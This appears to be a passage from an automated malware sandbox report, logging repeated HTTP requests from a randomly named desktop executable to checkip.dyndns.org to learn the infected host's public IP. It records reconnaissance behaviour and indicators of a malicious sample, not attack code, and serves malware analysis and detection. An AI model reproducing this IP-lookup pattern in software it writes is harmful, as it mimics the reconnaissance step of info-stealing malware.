Jan 10, 2025 21:41:24.005698919 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49924	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:24.928162098 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:25.634325027 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:25 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49937	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:26.626281023 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:27.253050089 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:27 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49948	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:28.233841896 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:29.235835075 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:29 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49960	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:30.325670004 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:30.949132919 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:30 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49972	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:31.891844988 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:32.517910957 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:32 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49984	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:33.505443096 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:34.140646935 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49996	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:35.198707104 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:35.849348068 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:35 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	50005	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:36.767517090 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:37.402733088 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:37 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	50007	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:38.373991966 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:38.999644041 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:38 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	50009	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:40.065366030 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:40.697213888 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:40 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	50011	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:41.815677881 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:42.471446991 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:42 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	50013	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:43.447027922 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:44.109529972 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:44 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	50015	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:45.025974989 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:45.665112972 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:45 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	50017	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:47.650533915 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:48.322406054 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:48 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	50019	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:49.359824896 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:49.995424032 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:49 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	50021	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:50.939788103 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:51.566680908 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:51 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	50023	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:52.481209040 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:53.124181032 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:53 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	50025	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:54.003122091 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:54.652731895 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:54 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	50027	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:55.610965967 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:56.246154070 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:56 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	50029	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:57.176326036 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:57.844468117 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:57 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	50031	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:58.921164989 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:59.693829060 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:59 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	50033	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:42:00.569521904 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:42:01.222454071 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:42:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	50035	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:42:02.319140911 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
